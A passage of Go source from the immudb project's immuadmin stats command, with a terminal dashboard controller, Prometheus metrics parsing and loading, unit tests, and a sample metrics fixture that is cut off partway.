cmdso.Execute() out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "Server MTLS config updated") os.RemoveAll("/tmp/immudb.toml") }*/ type scIClientMock struct { client.ImmuClient } func (c scIClientMock) UpdateAuthConfig(ctx context.Context, kind auth.Kind) error { return nil } func (c scIClientMock) UpdateMTLSConfig(ctx context.Context, enabled bool) error { return nil } func (c scIClientMock) Disconnect() error { return nil } func (c scIClientMock) Logout(ctx context.Context) error { return nil } func (c scIClientMock) GetOptions() *client.Options { dialOptions := []grpc.DialOption{} return &client.Options{ DialOptions: dialOptions, } } func (c scIClientMock) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{}, nil } ================================================ FILE: cmd/immuadmin/command/stats/controller.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "container/list" "fmt" "math" "time" ui "github.com/gizak/termui/v3" "github.com/gizak/termui/v3/widgets" ) // Controller ... type Controller interface { Render(*metrics) Resize() } type statsController struct { withDBHistograms bool Grid *ui.Grid SummaryTable *widgets.Table SizePlot *widgets.Plot SizePlotData []*list.List NbReadsWritesPlot *widgets.Plot NbReadsWritesPlotData []*list.List AvgDurationPlot *widgets.Plot AvgDurationPlotData []*list.List MemoryPlot *widgets.Plot MemoryPlotData []*list.List tui Tui } // Tui ... type Tui interface { TerminalDimensions() (int, int) Render(items ...ui.Drawable) Init() error Close() PollEvents() <-chan ui.Event } type tui struct{} func (t tui) TerminalDimensions() (int, int) { return ui.TerminalDimensions() } func (t tui) Render(items ...ui.Drawable) { ui.Render(items...) } func (t tui) Init() error { return ui.Init() } func (t tui) Close() { ui.Close() } func (t tui) PollEvents() <-chan ui.Event { return ui.PollEvents() } func (p *statsController) Resize() { p.resize() p.tui.Render(p.Grid) } func (p *statsController) resize() { termWidth, termHeight := p.tui.TerminalDimensions() p.Grid.SetRect(0, 0, termWidth, termHeight) } func enqueueDequeue(l *list.List, v interface{}, max int) { if l.Len() >= max { l.Remove(l.Front()) } l.PushBack(v) } func toFloats(l *list.List) []float64 { a := make([]float64, l.Len()) i := 0 for e := l.Front(); e != nil; e = e.Next() { a[i] = e.Value.(float64) i++ } return a } func updatePlot( plot *widgets.Plot, data *[]*list.List, dataLength int, newData []float64, newTitle string, ) { plot.Title = newTitle nbLines := len(newData) for i := 0; i < nbLines; i++ { enqueueDequeue((*data)[i], newData[i], dataLength) } plot.Data = make([][]float64, nbLines) for i := 0; i < nbLines; i++ { plot.Data[i] = toFloats((*data)[i]) } } func (p *statsController) Render(ms *metrics) { db := ms.dbWithMostEntries() uptime, _ := time.ParseDuration(fmt.Sprintf("%.4fh", ms.uptimeHours)) p.SummaryTable.Rows = [][]string{ {"[ImmuDB stats](mod:bold)", fmt.Sprintf("[ at %s](mod:bold)", time.Now().Format("15:04:05"))}, {"Database", db.name}, {"Uptime", uptime.String()}, {"Entries", fmt.Sprintf("%d", db.nbEntries)}, {"No. clients", fmt.Sprintf("%d", ms.nbClients)}, {" active < 1h ago", fmt.Sprintf("%d", len(*ms.clientsActiveDuringLastHour()))}, } totalSizeS, totalSize := byteCountBinary(db.totalBytes) updatePlot( p.SizePlot, &p.SizePlotData, sizePlotDataLength, []float64{totalSize}, fmt.Sprintf(" DB Size: %s ", totalSizeS)) if p.withDBHistograms { nbReads := ms.reads.counter nbWrites := ms.writes.counter nbReadsWrites := nbReads + nbWrites pReads := math.Round(float64(nbReads) * 100 / float64(nbReadsWrites)) pWrites := math.Round(float64(nbWrites) * 100 / float64(nbReadsWrites)) updatePlot( p.NbReadsWritesPlot, &p.NbReadsWritesPlotData, nbReadsWritesPlotDataLength, []float64{float64(nbReads), float64(nbWrites)}, fmt.Sprintf( " %d reads / %d writes (%.0f%% / %.0f%%) ", nbReads, nbWrites, pReads, pWrites), ) avgDurationReads := ms.reads.avgDuration * 1000_000 avgDurationWrites := ms.writes.avgDuration * 1000_000 updatePlot( p.AvgDurationPlot, &p.AvgDurationPlotData, avgDurationPlotDataLength, []float64{avgDurationReads, avgDurationWrites}, fmt.Sprintf( " Avg. duration: %.0f µs read, %.0f µs write ", avgDurationReads, avgDurationWrites), ) } memReservedS, memReserved := byteCountBinary(ms.memstats.sysBytes) memInUseS, memInUse := byteCountBinary(ms.memstats.heapInUseBytes + ms.memstats.stackInUseBytes) updatePlot( p.MemoryPlot, &p.MemoryPlotData, memoryPlotDataLength, []float64{memReserved, memInUse}, fmt.Sprintf(" Memory: %s reserved, %s in use ", memReservedS, memInUseS)) ui.Render(p.Grid) } func initPlot( plot *widgets.Plot, data *[]*list.List, dataLength int, labels []string, title string, ) { nbLines := len(labels) for i := 0; i < nbLines; i++ { (*data)[i] = list.New() } for i := 0; i < dataLength; i++ { for j := 0; j < nbLines; j++ { (*data)[j].PushBack(0.) } } plot.Title = title plot.PaddingTop = 1 plot.DataLabels = labels } var avgDurationPlotDataLength int var nbReadsWritesPlotDataLength int var sizePlotDataLength int var memoryPlotDataLength int func (p *statsController) initUI() { p.resize() gridWidth := p.Grid.GetRect().Dx() avgDurationPlotWidthPercent := .6 memoryPlotWidthPercent := avgDurationPlotWidthPercent sizePlotWidthPercent := 1. nbReadsWritesWidthPercent := 0. if p.withDBHistograms { memoryPlotWidthPercent = 1. sizePlotWidthPercent = .5 nbReadsWritesWidthPercent = .5 } p.SummaryTable.Title = " Exit: q, Esc or Ctrl-C " p.SummaryTable.PaddingTop = 1 p.SizePlotData = make([]*list.List, 2) initPlot( p.SizePlot, &p.SizePlotData, int(float64(gridWidth)*(sizePlotWidthPercent-.025)), []string{"DB Size"}, " DB Size ") p.NbReadsWritesPlotData = make([]*list.List, 2) if p.withDBHistograms { initPlot( p.NbReadsWritesPlot, &p.NbReadsWritesPlotData, int(float64(gridWidth)*(nbReadsWritesWidthPercent-.025)), []string{"reads", "writes"}, " Number of reads/writes ") p.AvgDurationPlotData = make([]*list.List, 2) initPlot( p.AvgDurationPlot, &p.AvgDurationPlotData, int(float64(gridWidth)*(avgDurationPlotWidthPercent-.025)), []string{"read", "write"}, " Avg. duration read/write ") } p.MemoryPlotData = make([]*list.List, 2) initPlot( p.MemoryPlot, &p.MemoryPlotData, int(float64(gridWidth)*(memoryPlotWidthPercent-.025)), []string{"reserved", "in use"}, " Memory reserved/in use ") if p.withDBHistograms { p.Grid.Set( ui.NewRow( .25, ui.NewCol(1-avgDurationPlotWidthPercent, p.SummaryTable), ui.NewCol(avgDurationPlotWidthPercent, p.AvgDurationPlot), ), ui.NewRow( .5, ui.NewCol(sizePlotWidthPercent, p.SizePlot), ui.NewCol(1-sizePlotWidthPercent, p.NbReadsWritesPlot), ), ui.NewRow( .25, ui.NewCol(memoryPlotWidthPercent, p.MemoryPlot), ), ) return } p.Grid.Set( ui.NewRow( .33, ui.NewCol(1-memoryPlotWidthPercent, p.SummaryTable), ui.NewCol(memoryPlotWidthPercent, p.MemoryPlot), ), ui.NewRow( .66, ui.NewCol(sizePlotWidthPercent, p.SizePlot), ), ) } func newStatsController(withDBHistograms bool, tui Tui) Controller { // xterm color reference https://jonasjacek.github.io/colors/ ui.Theme.Block.Title.Fg = ui.ColorGreen ctl := &statsController{ withDBHistograms: withDBHistograms, Grid: ui.NewGrid(), SummaryTable: widgets.NewTable(), SizePlot: widgets.NewPlot(), MemoryPlot: widgets.NewPlot(), tui: tui, } if withDBHistograms { ctl.NbReadsWritesPlot = widgets.NewPlot() ctl.AvgDurationPlot = widgets.NewPlot() } ctl.initUI() return ctl } ================================================ FILE: cmd/immuadmin/command/stats/controller_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "bytes" "testing" "github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest" ui "github.com/gizak/termui/v3" "github.com/prometheus/common/expfmt" "github.com/stretchr/testify/assert" ) type tuiMock struct{} func (t tuiMock) TerminalDimensions() (int, int) { return 1024, 768 } func (t tuiMock) Render(items ...ui.Drawable) {} func (t tuiMock) Init() error { return nil } func (t tuiMock) Close() {} func (t tuiMock) PollEvents() <-chan ui.Event { ch := make(chan ui.Event) return ch } func TestNewStatsController(t *testing.T) { c := newStatsController(true, tuiMock{}) assert.IsType(t, &statsController{}, c) } func TestRender(t *testing.T) { c := newStatsController(true, tuiMock{}) textParser := expfmt.TextParser{} metricsFamilies, _ := textParser.TextToMetricFamilies(bytes.NewReader(statstest.StatsResponse)) ms := &metrics{} ms.populateFrom(&metricsFamilies) c.Render(ms) assert.IsType(t, &statsController{}, c) } ================================================ FILE: cmd/immuadmin/command/stats/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "fmt" "math" "time" dto "github.com/prometheus/client_model/go" ) const SystemdbName = "systemdb" var readers = map[string]bool{ "ByIndex": true, "ByIndexSV": true, "Consistency": true, "Count": true, "CurrentRoot": true, "Dump": true, "Get": true, "GetBatch": true, "GetBatchSV": true, "GetSV": true, "Health": true, "History": true, "HistorySV": true, "IScan": true, "IScanSV": true, "Inclusion": true, "Login": true, "SafeGet": true, "SafeGetSV": true, "Scan": true, "ScanSV": true, "ZScan": true, "ZScanSV": true, } var writers = map[string]bool{ "Reference": true, "SafeReference": true, "SafeSet": true, "SafeSetSV": true, "SafeZAdd": true, "Set": true, "SetBatch": true, "SetBatchSV": true, "SetSV": true, "ZAdd": true, } type rpcDuration struct { method string counter uint64 totalDuration float64 avgDuration float64 } type dbInfo struct { name string totalBytes uint64 nbEntries uint64 } type operations struct { counter uint64 duration float64 avgDuration float64 } type memstats struct { sysBytes uint64 heapAllocBytes uint64 heapIdleBytes uint64 heapInUseBytes uint64 stackInUseBytes uint64 } type metrics struct { durationRPCsByMethod map[string]rpcDuration reads operations writes operations nbClients int nbRPCsPerClient map[string]uint64 lastMsgAtPerClient map[string]uint64 uptimeHours float64 dbs map[string]dbInfo memstats memstats } func (ms *metrics) isHistogramsDataAvailable() bool { return len(ms.durationRPCsByMethod) > 0 } func (ms *metrics) clientsActiveDuringLastHour() *map[string]time.Time { r := map[string]time.Time{} for ip, lastMsgAt := range ms.lastMsgAtPerClient { t := time.Unix(int64(lastMsgAt), 0) ago := time.Since(t) if ago.Hours() < 1 { r[ip] = t } } return &r } func (ms *metrics) populateFrom(metricsFamilies *map[string]*dto.MetricFamily) { ms.withDBInfo(metricsFamilies) ms.withClients(metricsFamilies) ms.withDuration(metricsFamilies) ms.withMemStats(metricsFamilies) } func (ms *metrics) withClients(metricsFamilies *map[string]*dto.MetricFamily) { ms.nbRPCsPerClient = map[string]uint64{} clientsMetrics := (*metricsFamilies)["immudb_number_of_rpcs_per_client"].GetMetric() ms.nbClients = len(clientsMetrics) for _, m := range clientsMetrics { var ip string for _, labelPair := range m.GetLabel() { if labelPair.GetName() == "ip" { ip = labelPair.GetValue() break } } ms.nbRPCsPerClient[ip] = uint64(m.GetCounter().GetValue()) } ms.lastMsgAtPerClient = map[string]uint64{} lastMsgAtMetrics := (*metricsFamilies)["immudb_clients_last_message_at_unix_seconds"].GetMetric() for _, m := range lastMsgAtMetrics { var ip string for _, labelPair := range m.GetLabel() { if labelPair.GetName() == "ip" { ip = labelPair.GetValue() break } } ms.lastMsgAtPerClient[ip] = uint64(m.GetGauge().GetValue()) } } func getGaugeVecPerLabel(metrics []*dto.Metric, label string, out *map[string]uint64) { for _, m := range metrics { var labelValue string for _, labelPair := range m.GetLabel() { if labelPair.GetName() == "db" { labelValue = labelPair.GetValue() break } } (*out)[labelValue] = uint64(m.GetGauge().GetValue()) } } func (ms *metrics) withDBInfo(metricsFamilies *map[string]*dto.MetricFamily) { // Uptime hours upHoursMetricsFams := (*metricsFamilies)["immudb_uptime_hours"] if upHoursMetricsFams != nil && len(upHoursMetricsFams.GetMetric()) > 0 { ms.uptimeHours = upHoursMetricsFams.GetMetric()[0].GetCounter().GetValue() } // DB sizes dbSizes := make(map[string]uint64) getGaugeVecPerLabel( (*metricsFamilies)["immudb_db_size_bytes"].GetMetric(), "db", &dbSizes) // Number of entries nbsEntries := make(map[string]uint64) getGaugeVecPerLabel( (*metricsFamilies)["immudb_number_of_stored_entries"].GetMetric(), "db", &nbsEntries) // aggregate all metrics to db info structs dbInfos := make(map[string]dbInfo, int(math.Max(float64(len(dbSizes)), float64(len(nbsEntries))))) for db, dbSize := range dbSizes { currDBInfo := dbInfos[db] currDBInfo.name = db currDBInfo.totalBytes = dbSize dbInfos[db] = currDBInfo } for db, nbEntries := range nbsEntries { currDBInfo := dbInfos[db] currDBInfo.name = db currDBInfo.nbEntries = nbEntries dbInfos[db] = currDBInfo } ms.dbs = dbInfos } func (ms *metrics) withDuration(metricsFamilies *map[string]*dto.MetricFamily) { ms.durationRPCsByMethod = map[string]rpcDuration{} for _, m := range (*metricsFamilies)["grpc_server_handling_seconds"].GetMetric() { var method string for _, labelPair := range m.GetLabel() { if labelPair.GetName() == "grpc_method" { method = labelPair.GetValue() break } } h := m.GetHistogram() c := h.GetSampleCount() td := h.GetSampleSum() var ad float64 if c != 0 { ad = td / float64(c) } d := rpcDuration{ method: method, counter: c, totalDuration: td, avgDuration: ad, } ms.durationRPCsByMethod[method] = d if _, ok := readers[method]; ok { ms.reads.counter += d.counter ms.reads.duration += d.avgDuration } if _, ok := writers[method]; ok { ms.writes.counter += d.counter ms.writes.duration += d.totalDuration } } if ms.reads.counter > 0 { ms.reads.avgDuration = ms.reads.duration / float64(ms.reads.counter) } if ms.writes.counter > 0 { ms.writes.avgDuration = ms.writes.duration / float64(ms.writes.counter) } } func (ms *metrics) withMemStats(metricsFamilies *map[string]*dto.MetricFamily) { if sysBytesMetric := (*metricsFamilies)["go_memstats_sys_bytes"]; sysBytesMetric != nil { ms.memstats.sysBytes = uint64(*sysBytesMetric.GetMetric()[0].GetGauge().Value) } if heapAllocMetric := (*metricsFamilies)["go_memstats_heap_alloc_bytes"]; heapAllocMetric != nil { ms.memstats.heapAllocBytes = uint64(*heapAllocMetric.GetMetric()[0].GetGauge().Value) } if heapIdleMetric := (*metricsFamilies)["go_memstats_heap_idle_bytes"]; heapIdleMetric != nil { ms.memstats.heapIdleBytes = uint64(*heapIdleMetric.GetMetric()[0].GetGauge().Value) } if heapInUseMetric := (*metricsFamilies)["go_memstats_heap_inuse_bytes"]; heapInUseMetric != nil { ms.memstats.heapInUseBytes = uint64(*heapInUseMetric.GetMetric()[0].GetGauge().Value) } if stackInUseMetric := (*metricsFamilies)["go_memstats_stack_inuse_bytes"]; stackInUseMetric != nil { ms.memstats.stackInUseBytes = uint64(*stackInUseMetric.GetMetric()[0].GetGauge().Value) } } func (ms *metrics) dbWithMostEntries() dbInfo { var db dbInfo for _, currentDB := range ms.dbs { if (len(db.name) == 0 || currentDB.nbEntries > db.nbEntries) && // skip system db currentDB.name != SystemdbName { db = currentDB } } return db } func byteCountBinary(b uint64) (string, float64) { const unit = 1024 if b < unit { return fmt.Sprintf("%d B", b), float64(b) } div, exp := uint64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } v := float64(b) / float64(div) return fmt.Sprintf("%.1f %cB", v, "kMGTPE"[exp]), v } ================================================ FILE: cmd/immuadmin/command/stats/metricsloader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "fmt" "io/ioutil" "net/http" "github.com/prometheus/common/expfmt" ) // MetricsLoader ... type MetricsLoader interface { Load() (*metrics, error) } func newMetricsLoader(url string) MetricsLoader { return &metricsLoader{ url: url, client: newHTTPClient(), } } type metricsLoader struct { url string client *http.Client } func (ml *metricsLoader) Load() (*metrics, error) { resp, err := ml.client.Get(ml.url) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { body, _ := ioutil.ReadAll(resp.Body) return nil, fmt.Errorf("GET %s returned unexpected HTTP Status %d with body %s", ml.url, resp.StatusCode, string(body)) } textParser := expfmt.TextParser{} metricsFamilies, err := textParser.TextToMetricFamilies(resp.Body) if err != nil { return nil, err } ms := &metrics{} ms.populateFrom(&metricsFamilies) return ms, nil } ================================================ FILE: cmd/immuadmin/command/stats/show.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "fmt" "io" "io/ioutil" "net/http" "sort" "strings" "time" ) const requestTimeout = 3 * time.Second func metricsURL(serverAddress string) string { if strings.HasPrefix(serverAddress, "http") { return serverAddress } return "http://" + serverAddress + ":9497/metrics" } func newHTTPClient() *http.Client { return &http.Client{ Timeout: requestTimeout, } } // ShowMetricsRaw ... func ShowMetricsRaw(w io.Writer, serverAddress string) error { resp, err := newHTTPClient().Get(metricsURL(serverAddress)) if err != nil { return err } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { return err } fmt.Fprintf(w, "%s\n", string(body)) return nil } // ShowMetricsAsText ... func ShowMetricsAsText(w io.Writer, serverAddress string) error { loader := newMetricsLoader(metricsURL(serverAddress)) ms, err := loader.Load() if err != nil { return err } db := ms.dbWithMostEntries() const labelLength = 27 const strPattern = "%-*s:\t%s\n" const intPattern = "%-*s:\t%d\n" // print DB info fmt.Fprintf(w, strPattern, labelLength, "Database", db.name) uptime, _ := time.ParseDuration(fmt.Sprintf("%.4fh", ms.uptimeHours)) fmt.Fprintf(w, strPattern, labelLength, "Uptime", uptime) fmt.Fprintf(w, intPattern, labelLength, "Entries", db.nbEntries) totalSizeS, _ := byteCountBinary(db.totalBytes) fmt.Fprintf(w, strPattern, labelLength, "Size", totalSizeS) // print clients fmt.Fprintf(w, intPattern, labelLength, "Number of clients", ms.nbClients) fmt.Fprintf(w, strPattern, labelLength, "Queries per client", "") for k, v := range ms.nbRPCsPerClient { fmt.Fprintf(w, " "+intPattern, labelLength-3, k, v) if lastMsgAt, ok := ms.lastMsgAtPerClient[k]; ok { ago := time.Since(time.Unix(int64(lastMsgAt), 0)) fmt.Fprintf(w, " "+strPattern, labelLength-6, "Last query", fmt.Sprintf("%s ago", ago)) } } // print durations if ms.isHistogramsDataAvailable() { keys := make([]string, 0, len(ms.durationRPCsByMethod)) for k := range ms.durationRPCsByMethod { keys = append(keys, k) } sort.Strings(keys) fmt.Fprintf(w, strPattern, labelLength, "Avg. duration (nb calls)", "µs") for _, k := range keys { rd := ms.durationRPCsByMethod[k] lbl := fmt.Sprintf("%s (%d)", rd.method, rd.counter) fmt.Fprintf(w, " "+strPattern, labelLength-3, lbl, fmt.Sprintf("%.0f", rd.avgDuration*1000_000)) } } return nil } // ShowMetricsVisually ... func ShowMetricsVisually(serverAddress string) error { su := statsui{Loader: newMetricsLoader(metricsURL(serverAddress)), Tui: tui{}} return su.runUI(false) } ================================================ FILE: cmd/immuadmin/command/stats/show_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "net/http" "net/http/httptest" "strings" "testing" "github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest" "github.com/stretchr/testify/require" ) func TestShowMetricsRaw(t *testing.T) { testServer := httptest.NewServer(http.HandlerFunc(func(res http.ResponseWriter, req *http.Request) { res.Write(statstest.StatsResponse) })) defer testServer.Close() var sw strings.Builder require.NoError(t, ShowMetricsRaw(&sw, testServer.URL)) } func TestShowMetricsAsText(t *testing.T) { testServer := httptest.NewServer(http.HandlerFunc(func(res http.ResponseWriter, req *http.Request) { res.Write(statstest.StatsResponse) })) defer testServer.Close() var sw strings.Builder require.NoError(t, ShowMetricsAsText(&sw, testServer.URL)) } ================================================ FILE: cmd/immuadmin/command/stats/statstest/statsResponse.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package statstest var StatsResponse = []byte(`# HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles. # TYPE go_gc_duration_seconds summary go_gc_duration_seconds{quantile="0"} 2.9563e-05 go_gc_duration_seconds{quantile="0.25"} 2.9563e-05 go_gc_duration_seconds{quantile="0.5"} 0.002745226 go_gc_duration_seconds{quantile="0.75"} 0.002745226 go_gc_duration_seconds{quantile="1"} 0.002745226 go_gc_duration_seconds_sum 0.002774789 go_gc_duration_seconds_count 2 # HELP go_goroutines Number of goroutines that currently exist. # TYPE go_goroutines gauge go_goroutines 35 # HELP go_info Information about the Go environment. # TYPE go_info gauge go_info{version="go1.13.4"} 1 # HELP go_memstats_alloc_bytes Number of bytes allocated and still in use. # TYPE go_memstats_alloc_bytes gauge go_memstats_alloc_bytes 2.74031064e+08 # HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed. # TYPE go_memstats_alloc_bytes_total counter go_memstats_alloc_bytes_total 2.75803848e+08 # HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table. # TYPE go_memstats_buck_hash_sys_bytes gauge go_memstats_buck_hash_sys_bytes 1.449515e+06 # HELP go_memstats_frees_total Total number of frees. # TYPE go_memstats_frees_total counter go_memstats_frees_total 6597 # HELP go_memstats_gc_cpu_fraction The fraction of this program's available CPU time used by the GC since the program started. # TYPE go_memstats_gc_cpu_fraction gauge go_memstats_gc_cpu_fraction 0.11723839325046846 # HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata. # TYPE go_memstats_gc_sys_bytes gauge go_memstats_gc_sys_bytes 1.1036672e+07 # HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use. # TYPE go_memstats_heap_alloc_bytes gauge go_memstats_heap_alloc_bytes 2.74031064e+08 # HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used. # TYPE go_memstats_heap_idle_bytes gauge go_memstats_heap_idle_bytes 5.9260928e+07 # HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use. # TYPE go_memstats_heap_inuse_bytes gauge go_memstats_heap_inuse_bytes 2.7533312e+08 # HELP go_memstats_heap_objects Number of allocated objects. # TYPE go_memstats_heap_objects gauge go_memstats_heap_objects 31692 # HELP go_memstats_heap_released_bytes Number of heap bytes released to OS. # TYPE go_memstats_heap_released_bytes gauge go_memstats_heap_released_bytes 5.9260928e+07 # HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system. # TYPE go_memstats_heap_sys_bytes gauge go_memstats_heap_sys_bytes 3.34594048e+08 # HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection. # TYPE go_memstats_last_gc_time_seconds gauge go_memstats_last_gc_time_seconds 1.5947157842258556e+09 # HELP go_memstats_lookups_total Total number of pointer lookups. # TYPE go_memstats_lookups_total counter go_memstats_lookups_total 0 # HELP go_memstats_mallocs_total Total number of mallocs. # TYPE go_memstats_mallocs_total counter go_memstats_mallocs_total 38289 # HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures. # TYPE go_memstats_mcache_inuse_bytes gauge go_memstats_mcache_inuse_bytes 13888 # HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system. # TYPE go_memstats_mcache_sys_bytes gauge go_memstats_mcache_sys_bytes 16384 # HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures. # TYPE go_memstats_mspan_inuse_bytes gauge go_memstats_mspan_inuse_bytes 70312 # HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system. # TYPE go_memstats_mspan_sys_bytes gauge go_memstats_mspan_sys_bytes 81920 # HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place. # TYPE go_memstats_next_gc_bytes gauge go_memstats_next_gc_bytes 4.47937072e+08 # HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations. # TYPE go_memstats_other_sys_bytes gauge go_memstats_other_sys_bytes 1.514189e+06 # HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator. # TYPE go_memstats_stack_inuse_bytes gauge go_memstats_stack_inuse_bytes 950272 # HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator. # TYPE go_memstats_stack_sys_bytes gauge go_memstats_stack_sys_bytes 950272 # HELP go_memstats_sys_bytes Number of bytes obtained from system. # TYPE go_memstats_sys_bytes gauge go_memstats_sys_bytes 3.49643e+08 # HELP go_threads Number of OS threads created. # TYPE go_threads gauge go_threads 18 # HELP grpc_server_handled_total Total number of RPCs completed on the server, regardless of success or failure. # TYPE grpc_server_handled_total counter grpc_server_handled_total{grpc_code="Aborted",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 